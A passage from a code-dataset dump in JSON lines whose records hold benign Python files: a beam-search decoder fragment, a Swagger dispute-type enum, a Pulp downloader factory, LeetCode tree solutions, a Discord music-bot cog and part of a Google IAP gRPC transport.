result\n else:\n search_complete = False\n top_beams = [Beam(decoder_input, decoder_h_states, decoder_hidden, previous_att, [], [])]\n\n while not search_complete:\n new_beams = []\n for beam in top_beams:\n if beam.complete: new_beams.append(beam)\n else:\n p_final, p_gen, p_vocab, att_dist, decoder_h_states, decoder_hidden, previous_att = \\\n self.decoder(beam.decoder_input, beam.decoder_h_states, beam.decoder_hidden,\n encoder_outputs, full_input_variable, beam.previous_att, nb_unks, use_cuda)\n for k in range(beam_size):\n p_vocab_word, vocab_word_idx = p_final.max(1)\n _, max_tokens = p_final.max(1)\n if max_tokens.data[0] >= self.vocab.vocab_size: max_tokens.data[0] = self.vocab.word2index['UNK']\n new_beams.append(Beam(max_tokens.unsqueeze(1),\n decoder_h_states, decoder_hidden, previous_att,\n beam.log_probs+[p_vocab_word.data[0]],\n beam.sequence + [vocab_word_idx.data[0]]))\n p_final[0, vocab_word_idx.data[0]] = 0\n\n if len(new_beams[-1].sequence) == target_length or vocab_word_idx.data[0] == self.vocab.word2index['EOS']:\n new_beams[-1].complete = True\n\n all_beams = sorted([(b, b.compute_score()) for b in new_beams], key=lambda tup: tup[1])\n if len(all_beams) > beam_size: all_beams = all_beams[:beam_size]\n top_beams = [beam[0] for beam in all_beams]\n\n if len([True for b in top_beams if b.complete]) == beam_size: search_complete = True\n\n return [[\" \".join([utils.translate_word(t, samples[0], self.vocab) for t in b.sequence]),\n b.compute_score()]\n for b in top_beams]\n\n\n\n","sub_path":"Experiments/17_feb_dmcnn_conv/PointerGenerator/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"390225412","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom swagger_server.models.base_model_ import Model\nfrom swagger_server import util\n\n\nclass DisputeType(Model):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n allowed enum values\n \"\"\"\n SERVICE_NOT_OFFERED_OR_PRODUCT_NOT_DELIVERED = \"service_not_offered_or_product_not_delivered\"\n RECURRING_TRANSACTION_CANCELLED = \"recurring_transaction_cancelled\"\n PRODUCT_DEFECTIVE_OR_DIFFERING_FROM_DESCRIPTION = \"product_defective_or_differing_from_description\"\n MULTIPLE_FRAUDULENT_TRANSACTIONS = \"multiple_fraudulent_transactions\"\n ILLEGIBLE_DOCUMENT = \"illegible_document\"\n CHIP_RESPONSABILITY_TRANSFERENCE = \"chip_responsability_transference\"\n AUTHORIZATION_DENIED = \"authorization_denied\"\n NO_AUTHORIZATION = \"no_authorization\"\n EXPIRED_CARD = \"expired_card\"\n LATE_PRESENTATION = \"late_presentation\"\n HOLDER_DOES_NO_RECALL_TRANSACTION = \"holder_does_no_recall_transaction\"\n NON_EXISTING_CARD_NUMBER = \"non_existing_card_number\"\n INCORRECT_TRANSACTION_VALUE = \"incorrect_transaction_value\"\n CARD_PRESENT_FRAUD = \"card_present_fraud\"\n DUPLICATED_PROCESSING = \"duplicated_processing\"\n CARD_NOT_PRESENT_FRAUD = \"card_not_present_fraud\"\n CREDIT_NOT_PROCESSED = \"credit_not_processed\"\n PAYMENT_BY_OTHER_MEANS = \"payment_by_other_means\"\n def __init__(self): # noqa: E501\n \"\"\"DisputeType - a model defined in Swagger\n\n \"\"\"\n self.swagger_types = {\n }\n\n self.attribute_map = {\n }\n\n @classmethod\n def from_dict(cls, dikt) -> 'DisputeType':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The DisputeType of this DisputeType. # noqa: E501\n :rtype: DisputeType\n \"\"\"\n return util.deserialize_model(dikt, cls)\n","sub_path":"swagger_server/models/dispute_type.py","file_name":"dispute_type.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215148260","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2013 Red Hat, Inc.\n#\n# This software is licensed to you under the GNU General Public\n# License as published by the Free Software Foundation; either version\n# 2 of the License (GPLv2) or (at your option) any later version.\n# There is NO WARRANTY for this software, express or implied,\n# including the implied warranties of MERCHANTABILITY,\n# NON-INFRINGEMENT, or FITNESS FOR A PARTICULAR PURPOSE. You should\n# have received a copy of GPLv2 along with this software; if not, see\n# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.\n\n\"\"\"\nContains logic surrounding which nectar downloader implementation to use.\n\"\"\"\n\nimport urlparse\n\nfrom nectar.downloaders.curl import HTTPCurlDownloader\nfrom nectar.downloaders.threaded import HTTPThreadedDownloader\n\n\n# Mapping from scheme string to downloader class to instantiate\nSCHEME_DOWNLOADERS = {\n 'file' : HTTPCurlDownloader,\n 'http' : HTTPThreadedDownloader,\n 'https' : HTTPThreadedDownloader,\n}\n\n\ndef create_downloader(repo_url, nectar_config, event_listener):\n \"\"\"\n Returns an appropriate downloader instance for the given repository location.\n\n Note: In the future we may want to enhance this by passing in some sort of\n configuration that will let this method apply more than just protocol checking.\n\n :param repo_url: where the repository will be syncced from\n :type repo_url: str\n :param nectar_config: download config to be used by nectar\n :type nectar_config: nectar.config.DownloaderConfig\n :param event_listener: listener that will receive reports of download completion\n :type event_listener: nectar.listener.DownloadEventListener\n\n :return: a new nectar downloader instance\n :rtype: nectar.downloaders.base.Downloader\n \"\"\"\n parsed = urlparse.urlparse(repo_url)\n\n if parsed.scheme not in SCHEME_DOWNLOADERS:\n raise ValueError('Unsupported scheme: %s' % parsed.scheme)\n\n return SCHEME_DOWNLOADERS[parsed.scheme](nectar_config, event_listener=event_listener)\n\n","sub_path":"plugins/pulp_rpm/plugins/importers/yum/repomd/nectar_factory.py","file_name":"nectar_factory.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"526361913","text":"# Definition for binary tree with next pointer.\r\n# class TreeLinkNode(object):\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n# self.next = None\r\n\r\n\"\"\"\r\nThough it's AC, it doesn't satisfy the requirement \"You may only use constant extra space\".\r\n\"\"\"\r\nclass Solution(object):\r\n def connect(self, root):\r\n \"\"\"\r\n :type root: TreeLinkNode\r\n :rtype: nothing\r\n \"\"\"\r\n if root is None or (root.left is None and root.right is None):\r\n return\r\n root.left.next = root.right\r\n if root.next is not None:\r\n root.right.next = root.next.left\r\n self.connect(root.left)\r\n self.connect(root.right)\r\n \r\n \r\n#############################################################\r\n\"\"\"\r\nhttps://leetcode.com/discuss/7327/a-simple-accepted-solution\r\nIteration and just O(1) space.\r\n\"\"\"\r\nclass Solution(object):\r\n def connect(self, root):\r\n pre, cur = root, None\r\n while pre and pre.left:\r\n cur = pre\r\n while cur:\r\n cur.left.next = cur.right\r\n if cur.next:\r\n cur.right.next = cur.next.left\r\n cur = cur.next\r\n pre = pre.left","sub_path":"src/116_PopulatingNextRightPointersInEachNode.py","file_name":"116_PopulatingNextRightPointersInEachNode.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"36373413","text":"import asyncio\nimport discord\nimport ipaddress\nimport logging\nimport math\nimport socket\nimport typing\nimport wavelink\nfrom .player import HouraiMusicPlayer, Unauthorized\nfrom .utils import time_format\nfrom discord.ext import commands\nfrom hourai.bot import CogLoadError\nfrom hourai.cogs import BaseCog\nfrom hourai.db import proto\nfrom hourai.utils import format, is_moderator\n\n\nlog = logging.getLogger('hourai.music')\n\n\ndef clamp(val, min_val, max_val):\n return max(min(val, max_val), min_val)\n\n\nasync def get_music_config(ctx):\n \"\"\"Gets the corresponding guild config. If none is in storage, the default\n config is returned.\n \"\"\"\n config = await ctx.bot.storage.music_configs.get(ctx.guild.id)\n return config or proto.MusicConfig()\n\n\nasync def get_dj_roles(ctx):\n \"\"\"Gets the corresponding DJ role for a guild. Returns none if the role is\n not found or if no role has been configured.\n \"\"\"\n music_config = await get_music_config(ctx)\n roles = [ctx.guild.get_role(role_id)\n for role_id in music_config.dj_role_id]\n return set(role for role in roles if role is not None)\n\n\nasync def is_dj(ctx, member=None):\n \"\"\" Checks if the user is a DJ or not. \"\"\"\n if member is None:\n member = ctx.author\n dj_roles = await get_dj_roles(ctx)\n if len(dj_roles) <= 0:\n return is_moderator(member)\n member_roles = set(member.roles)\n return len(dj_roles.intersection(member_roles)) > 0\n\n\ndef get_default_channel(guild, member=None):\n channels = filter(lambda ch: ch.permissions_for(guild.me).connect,\n guild.voice_channels)\n if member is not None:\n channels = filter(lambda ch: member in ch.members, channels)\n return next(channels, None)\n\n\nasync def get_voice_channel(ctx):\n music_config = await get_music_config(ctx)\n channel = None\n if music_config.HasField('voice_channel_id'):\n channel = ctx.guild.get_channel(music_config.voice_channel_id)\n if isinstance(channel, discord.VoiceChannel):\n channel = None\n return channel or get_default_channel(ctx.guild, ctx.author)\n\n\nclass Music(BaseCog):\n\n def __init__(self, bot):\n self.bot = bot\n self.config = None\n\n if not hasattr(bot, 'wavelink'):\n self.bot.wavelink = wavelink.Client(self.bot)\n\n self.bot.loop.create_task(self.start_nodes())\n\n async def start_nodes(self):\n await self.bot.wait_until_ready()\n\n self.config = self.bot.get_config_value('music')\n if self.config is None:\n self.bot.remove_cog(self)\n raise CogLoadError(\"Config option 'music' not found.\")\n\n async def initialize_node(node_cfg):\n # Wavelink currently throws errors when provided with non IP hosts.\n # Workaround: convert host to an IP.\n args = node_cfg._asdict()\n try:\n ipaddress.ip_address(node_cfg.host)\n except ValueError:\n args['host'] = socket.gethostbyname(node_cfg.host)\n\n # Initiate our nodes. For now only using one\n await self.bot.wavelink.initiate_node(**args)\n\n nodes = self.bot.get_config_value('music.nodes', default=(),\n type=tuple)\n await asyncio.gather(*[initialize_node(node_cfg)\n for node_cfg in nodes])\n\n def get_player(self, guild):\n return self.bot.wavelink.get_player(guild.id, cls=HouraiMusicPlayer)\n\n async def cog_check(self, ctx):\n if ctx.guild is None:\n return False\n music_config = await get_music_config(ctx)\n if music_config is None:\n return True\n # If a specific text channel is required\n if (len(music_config.text_channel_id) <= 0 or\n ctx.channel.id in music_config.text_channel_id):\n return True\n return False\n\n @commands.Cog.listener()\n async def on_voice_state_change(self, member, before, after):\n guild = member.guild\n player = self.get_player(guild)\n if not player.is_connected or member == guild.me:\n return\n\n # Kill the player when nobody else is in any voice channel in the guild\n def is_empty(voice_channel):\n members = set(voice_channel.members)\n members.remove(guild.me)\n return len(members) <= 0\n if all(is_empty(vc) for vc in guild.voice_channels):\n await player.stop()\n\n # Remove skip votes from those who leave\n channel = player.channel\n if (channel is not None and\n channel == before.channel and channel != after.channel):\n player.clear_vote(member)\n\n @staticmethod\n async def connect_player(ctx, player):\n channel = await get_voice_channel(ctx)\n msg = None\n if channel is None:\n msg = 'No suitable channel for playing music found.'\n elif ctx.author not in channel.members:\n msg = f'You must be in `{channel.name}` to play music.'\n await (ctx.send(msg) if msg is not None else\n player.connect(channel.id))\n return msg is None\n\n @commands.command()\n @commands.is_owner()\n async def connect_(self, ctx):\n player = self.get_player(ctx.guild)\n channel = await get_voice_channel(ctx)\n if channel is None:\n await ctx.send('No suitable channel for playing music found.')\n return False\n await player.connect(channel.id)\n\n @commands.command()\n @commands.is_owner()\n async def disconnect_(self, ctx):\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await player.disconnect()\n\n @staticmethod\n def is_empty_response(load_response):\n if load_response is None:\n return True\n if isinstance(load_response, list) and len(load_response) <= 0:\n return True\n if (isinstance(load_response, wavelink.TrackPlaylist) and\n len(load_response.tracks) <= 0):\n return True\n return False\n\n @commands.command(name='play')\n async def play(self, ctx, *, query: str = ''):\n \"\"\"Adds a song to the queue.\n\n Caller must be in a valid voice channel.\n If the music player is paused, calling it without arguments will\n unpause the player.\n\n Examples:\n ~play\n ~play despacito\n ~play https://www.youtube.com/watch?v=kJQP7kiw5Fk\n ~play https://www.youtube.com/playlist?list=PLNCRTSKrIMvuoD5D1FIR5kJ1jhwVVU5Ka\n ~play https://soundcloud.com/kungfu-cthulhu/gabenhardstyle\n \"\"\"\n player = self.get_player(ctx.guild)\n if not query:\n await self._play_paused(ctx, player)\n return\n\n if (player.voice_channel is not None and\n ctx.author not in player.voice_channel.members):\n channel_name = player.voice_channel.name\n await ctx.send(\n content=f'You must be in `{channel_name}` to play music.')\n return\n\n msg = await ctx.send(r'**\\*\\*Loading...\\*\\***')\n for attempt in (query, f'ytsearch:{query}', f'scsearch:{query}'):\n result = await ctx.bot.wavelink.get_tracks(attempt)\n if not Music.is_empty_response(result):\n break\n if Music.is_empty_response(result):\n await msg.edit(content=f':bulb: No results found for `{query}`.')\n\n if not player.is_connected:\n if (not await Music.connect_player(ctx, player)):\n return\n\n if isinstance(result, list):\n assert len(result) > 0\n track = result[0]\n await player.enqueue(ctx.author, track)\n await msg.edit(content=f':notes: Added `{track.title}` '\n f'({time_format(track.duration)}) to the '\n f'queue.')\n elif isinstance(result, wavelink.TrackPlaylist):\n assert len(result.tracks) > 0\n # Add all tracks to the queue\n total_duration = 0\n for track in result.tracks:\n await player.enqueue(ctx.author, track)\n total_duration += track.duration\n count = len(result.tracks)\n total_duration = time_format(total_duration)\n await msg.edit(content=f':notes: Added **{count}** tracks'\n f'({total_duration}) to the queue.')\n else:\n await msg.edit(content=':x: Something went wrong!')\n\n async def _play_paused(self, ctx, player):\n if not player.is_connected or not player.paused:\n await ctx.send('Something needs to be specified to play.')\n return\n if is_dj(ctx):\n await player.set_pause(False)\n await ctx.send(f'Resumed {format.bold(player.current.name)}.')\n else:\n await ctx.send(f'Only a DJ can resume a track.')\n\n @commands.command()\n @commands.check(is_dj)\n async def pause(self, ctx):\n \"\"\"Pauses the current track in the music player.\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.set_pause(True)\n await ctx.send(f'Paused {format.bold(str(player.current))}.')\n\n @commands.command()\n async def stop(self, ctx):\n \"\"\"Clears the queue and stops the bot.\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.stop()\n await ctx.send(':notes: The player has stopped and the queue has been '\n 'cleared.')\n\n @commands.command()\n async def remove(self, ctx, target: int):\n \"\"\"Removes a item from the queue by it's place in it.\n\n Caller must either be a DJ (defaults to moderator roles) or be the user\n who requested the track. Must also be in the same voice channel as the\n bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n try:\n _, track = player.remove_entry(ctx.author, target - 1)\n await ctx.send(f\"Removed **{track.title}** from the queue.\")\n except Unauthorized:\n await ctx.send(f\"You didn't request that track!\")\n except IndexError:\n await ctx.send(f\"There is no track at place: {target}\")\n\n @commands.command()\n async def removeall(self, ctx):\n \"\"\"Removes all of the caller's songs from the queue.\n\n Must be in the same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n count = player.clear_user(ctx.author)\n if count <= 0:\n await ctx.send(\"You dont' have any songs queued.\")\n else:\n await ctx.send(f'Removed {count} songs from the queue.')\n\n @commands.command()\n async def queue(self, ctx):\n \"\"\"Shows what is in the queue and who requested each track.\"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.create_queue_message(ctx.channel)\n\n @commands.command(aliases=['np'])\n async def nowplaying(self, ctx):\n \"\"\"Shows what's currently playing in the music player.\"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.create_now_playing_message(ctx.channel)\n\n @commands.command()\n async def skip(self, ctx):\n \"\"\"Votes to skip the current song in the player.\n\n Skips the song if the votes exceed 50% of the users in voice chat.\n If the requestor skips, it automatically skips the current song.\n\n Must be in the same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n if ctx.author.id in player.skip_votes:\n await ctx.send(\"You've already voted to skip this song!\")\n return\n\n assert player.current is not None\n\n track = player.current\n requestor = player.current_requestor\n assert requestor is not None\n\n channel_count = len([m for m in player.voice_channel_members\n if m != ctx.guild.me])\n vote_count = len(player.skip_votes) + 1\n\n required_votes = math.ceil(channel_count * 0.5)\n skipped = player.vote_to_skip(ctx.author, required_votes)\n\n response = (f':notes: You voted to skip the song. `{vote_count} votes,'\n f' {required_votes}/{channel_count} needed.`')\n if skipped:\n response += (f'\\n:notes: Skipped **{track.title}** (requested by '\n f'**{requestor.name}**)')\n await ctx.send(response)\n\n @commands.command()\n async def shuffle(self, ctx):\n \"\"\"Shuffles the songs the caller has queued.\n\n Must be in the same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n count = player.shuffle_user(ctx.author)\n if count == 0:\n msg = \"You don't have any music in the queue!\"\n else:\n msg = f\":notes: Shuffled your {count} tracks in the queue!\"\n await ctx.send(msg)\n\n @commands.command()\n @commands.check(is_dj)\n async def forceskip(self, ctx):\n \"\"\"Forcibly skips the current song in the music player.\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n\n track = player.current\n requestor = player.current_requestor\n assert requestor is not None\n\n player.play_next(skip=True)\n await ctx.send(f':notes: Skipped **{track.title}** (requested by '\n f'**{requestor.name}**)')\n\n @commands.command()\n async def volume(self, ctx, volume: typing.Optional[int] = None):\n \"\"\"Checks or sets the music volume in the bot. Range: 0-150.\n\n Example:\n ~volume\n ~volume 40\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n\n old_volume = player.volume\n if volume is None:\n await ctx.send(f':sound: Current volume is `{old_volume}`')\n return\n if not (await is_dj(ctx)):\n await ctx.send('Must be a DJ to change the volume.')\n return\n\n volume = clamp(volume, 0, 150)\n await player.set_volume(volume)\n\n await ctx.send(f':sound: Volume changed from `{old_volume}` to '\n f'`{volume}`')\n\n\ndef setup(bot):\n bot.add_cog(Music(bot))\n","sub_path":"hourai/extensions/music/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"582627365","text":"# -*- coding: utf-8 -*-\n# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom typing import Awaitable, Callable, Dict, Optional, Sequence, Tuple, Union\nimport warnings\n\nfrom google.api_core import gapic_v1, grpc_helpers_async\nfrom google.auth import credentials as ga_credentials # type: ignore\nfrom google.auth.transport.grpc import SslCredentials # type: ignore\nfrom google.protobuf import empty_pb2 # type: ignore\nimport grpc # type: ignore\nfrom grpc.experimental import aio # type: ignore\n\nfrom google.cloud.iap_v1.types import service\n\nfrom .base import DEFAULT_CLIENT_INFO, IdentityAwareProxyOAuthServiceTransport\nfrom .grpc import IdentityAwareProxyOAuthServiceGrpcTransport\n\n\nclass IdentityAwareProxyOAuthServiceGrpcAsyncIOTransport(\n IdentityAwareProxyOAuthServiceTransport\n):\n \"\"\"gRPC AsyncIO backend transport for IdentityAwareProxyOAuthService.\n\n API to programmatically create, list and retrieve Identity\n Aware Proxy (IAP) OAuth brands; and create, retrieve, delete and\n reset-secret of IAP OAuth clients.\n\n This class defines the same methods as the primary client, so the\n primary client can load the underlying transport implementation\n and call it.\n\n It sends protocol buffers over the wire using gRPC (which is built on\n top of HTTP/2); the ``grpcio`` package must be installed.\n \"\"\"\n\n _grpc_channel: aio.Channel\n _stubs: Dict[str, Callable] = {}\n\n @classmethod\n def create_channel(\n cls,\n host: str = \"iap.googleapis.com\",\n credentials: Optional[ga_credentials.Credentials] = None,\n credentials_file: Optional[str] = None,\n scopes: Optional[Sequence[str]] = None,\n quota_project_id: Optional[str] = None,\n **kwargs,\n ) -> aio.Channel:\n \"\"\"Create and return a gRPC AsyncIO channel object.\n Args:\n host (Optional[str]): The host for the channel to use.\n credentials (Optional[~.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify this application to the service. If\n none are specified, the client will attempt to ascertain\n the credentials from the environment.\n credentials_file (Optional[str]): A file with credentials that can\n be loaded with :func:`google.auth.load_credentials_from_file`.\n This argument is ignored if ``channel`` is provided.\n scopes (Optional[Sequence[str]]): A optional list of scopes needed for this\n service. These are only used when credentials are not specified and\n are passed to :func:`google.auth.default`.\n quota_project_id (Optional[str]): An optional project to use for billing\n and quota.\n kwargs (Optional[dict]): Keyword arguments, which are passed to the\n channel creation.\n Returns:\n aio.Channel: A gRPC AsyncIO channel object.\n \"\"\"\n\n return grpc_helpers_async.create_channel(\n host,\n credentials=credentials,\n credentials_file=credentials_file,\n quota_project_id=quota_project_id,\n default_scopes=cls.AUTH_SCOPES,\n scopes=scopes,\n default_host=cls.DEFAULT_HOST,\n **kwargs,\n )\n\n def __init__(\n self,\n *,\n host: str = \"iap.googleapis.com\",\n credentials: Optional[ga_credentials.Credentials] = None,\n credentials_file: Optional[str] = None,\n scopes: Optional[Sequence[str]] = None,\n channel: Optional[aio.Channel] = None,\n api_mtls_endpoint: Optional[str] = None,\n client_cert_source: Optional[Callable[[], Tuple[bytes, bytes]]] = None,\n ssl_channel_credentials: Optional[grpc.ChannelCredentials] = None,\n client_cert_source_for_mtls: Optional[Callable[[], Tuple[bytes, bytes]]] = None,\n quota_project_id: Optional[str] = None,\n client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,\n always_use_jwt_access: Optional[bool] = False,\n api_audience: Optional[str] = None,\n ) -> None:\n \"\"\"Instantiate the transport.\n\n Args:\n host (Optional[str]):\n The hostname to connect to.\n credentials (Optional[google.auth.credentials.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify the application to the service; if none\n are specified, the client will attempt to ascertain the\n credentials from the environment.\n This argument is ignored if ``channel`` is provided.\n credentials_file (Optional[str]): A file with credentials that can\n be loaded with :func:`google.auth.load_credentials_from_file`.\n This argument is ignored if ``channel`` is provided.\n scopes (Optional[Sequence[str]]): A optional list of scopes needed for this\n service. These are only used when credentials are not specified and\n are passed to :func:`google.auth.default`.\n channel (Optional[aio.Channel]): A ``Channel`` instance through\n which to make calls.\n api_mtls_endpoint (Optional[str]): Deprecated. The mutual TLS endpoint.\n If provided, it overrides the ``host`` argument and tries to create\n a mutual TLS channel with client SSL credentials from\n ``client_cert_source`` or application default SSL credentials.\n client_cert_source (Optional[Callable[[], Tuple[bytes, bytes]]]):\n Deprecated. A callback to provide client SSL certificate bytes and\n private key bytes, both in PEM format. It is ignored if\n ``api_mtls_endpoint`` is None.\n ssl_channel_credentials (grpc.ChannelCredentials): SSL credentials\n for the grpc channel. It is ignored if ``channel`` is provided.\n client_cert_source_for_mtls (Optional[Callable[[], Tuple[bytes, bytes]]]):\n A callback to provide client certificate bytes and private key bytes,\n both in PEM format. It is used to configure a mutual TLS channel. It is\n ignored if ``channel`` or ``ssl_channel_credentials`` is provided.\n quota_project_id (Optional[str]): An optional project to use for billing\n and quota.\n client_info (google.api_core.gapic_v1.client_info.ClientInfo):\n The client info used to send a user-agent string along with\n API requests. If ``None``, then default info will be used.\n Generally, you only need to set this if you're developing\n your own client library.\n always_use_jwt_access (Optional[bool]): Whether self signed JWT should\n be used for service account credentials.\n\n Raises:\n google.auth.exceptions.MutualTlsChannelError: If mutual TLS transport\n creation failed for any reason.\n google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``\n and ``credentials_file`` are passed.\n \"\"\"\n self._grpc_channel = None\n self._ssl_channel_credentials = ssl_channel_credentials\n self._stubs: Dict[str, Callable] = {}\n\n if api_mtls_endpoint:\n warnings.warn(\"api_mtls_endpoint is deprecated\", DeprecationWarning)\n if client_cert_source:\n warnings.warn(\"client_cert_source is deprecated\", DeprecationWarning)\n\n if channel:\n # Ignore credentials if a channel was passed.\n credentials = False\n # If a channel was explicitly provided, set it.\n self._grpc_channel = channel\n self._ssl_channel_credentials = None\n else:\n if api_mtls_endpoint:\n host = api_mtls_endpoint\n\n # Create SSL credentials with client_cert_source or application\n # default SSL credentials.\n if client_cert_source:\n cert, key = client_cert_source()\n self._ssl_channel_credentials = grpc.ssl_channel_credentials(\n certificate_chain=cert, private_key=key\n )\n else:\n self._ssl_channel_credentials = SslCredentials().ssl_credentials\n\n else:\n if client_cert_source_for_mtls and not ssl_channel_credentials:\n cert, key = client_cert_source_for_mtls()\n self._ssl_channel_credentials = grpc.ssl_channel_credentials(\n certificate_chain=cert, private_key=key\n )\n\n # The base transport sets the host, credentials and scopes\n super().__init__(\n host=host,\n credentials=credentials,\n credentials_file=credentials_file,\n scopes=scopes,\n quota_project_id=quota_project_id,\n client_info=client_info,\n always_use_jwt_access=always_use_jwt_access,\n api_audience=api_audience,\n )\n\n if not self._grpc_channel:\n self._grpc_channel = type(self).create_channel(\n self._host,\n # use the credentials which are saved\n credentials=self._credentials,\n # Set ``credentials_file`` to ``None`` here as\n # the credentials that we saved earlier should be used.\n credentials_file=None,\n scopes=self._scopes,\n ssl_credentials=self._ssl_channel_credentials,\n quota_project_id=quota_project_id,\n options=[\n (\"grpc.max_send_message_length\", -1),\n (\"grpc.max_receive_message_length\", -1),\n ],\n )\n\n # Wrap messages. This must be done after self._grpc_channel exists\n self._prep_wrapped_messages(client_info)\n\n @property\n def grpc_channel(self) -> aio.Channel:\n \"\"\"Create the channel designed to connect to this service.\n\n This property caches on the instance; repeated calls return\n the same channel.\n \"\"\"\n # Return the channel from cache.\n return self._grpc_channel\n\n @property\n def list_brands(\n self,\n ) -> Callable[[service.ListBrandsRequest], Awaitable[service.ListBrandsResponse]]:\n r\"\"\"Return a callable for the list brands method over gRPC.\n\n Lists the existing brands for the project.\n\n Returns:\n Callable[[~.ListBrandsRequest],\n Awaitable[~.ListBrandsResponse]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"list_brands\" not in self._stubs:\n self._stubs[\"list_brands\"] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/ListBrands\",\n request_serializer=service.ListBrandsRequest.serialize,\n response_deserializer=service.ListBrandsResponse.deserialize,\n )\n return self._stubs[\"list_brands\"]\n\n @property\n def create_brand(\n self,\n ) -> Callable[[service.CreateBrandRequest], Awaitable[service.Brand]]:\n r\"\"\"Return a callable for the create brand method over gRPC.\n\n Constructs a new OAuth brand for the project if one\n does not exist. The created brand is \"internal only\",\n meaning that OAuth clients created under it only accept\n requests from users who belong to the same Google\n Workspace organization as the project. The brand is\n created in an un-reviewed status. NOTE: The \"internal\n only\" status can be manually changed in the Google Cloud\n Console. Requires that a brand does not already exist\n for the project, and that the specified support email is\n owned by the caller.\n\n Returns:\n Callable[[~.CreateBrandRequest],\n Awaitable[~.Brand]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"create_brand\" not in self._stubs:\n self._stubs[\"create_brand\"] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/CreateBrand\",\n request_serializer=service.CreateBrandRequest.serialize,\n response_deserializer=service.Brand.deserialize,\n )\n return self._stubs[\"create_brand\"]\n\n @property\n def get_brand(\n self,\n ) -> Callable[[service.GetBrandRequest], Awaitable[service.Brand]]:\n r\"\"\"Return a callable for the get brand method over gRPC.\n\n Retrieves the OAuth brand of the project.\n\n Returns:\n Callable[[~.GetBrandRequest],\n Awaitable[~.Brand]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"get_brand\" not in self._stubs:\n self._stubs[\"get_brand\"] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/GetBrand\",\n request_serializer=service.GetBrandRequest.serialize,\n response_deserializer=service.Brand.deserialize,\n )\n return self._stubs[\"get_brand\"]\n\n @property\n def create_identity_aware_proxy_client(\n self,\n ) -> Callable[\n [service.CreateIdentityAwareProxyClientRequest],\n Awaitable[service.IdentityAwareProxyClient],\n ]:\n r\"\"\"Return a callable for the create identity aware proxy\n client method over gRPC.\n\n Creates an Identity Aware Proxy (IAP) OAuth client.\n The client is owned by IAP. Requires that the brand for\n the project exists and that it is set for internal-only\n use.\n\n Returns:\n 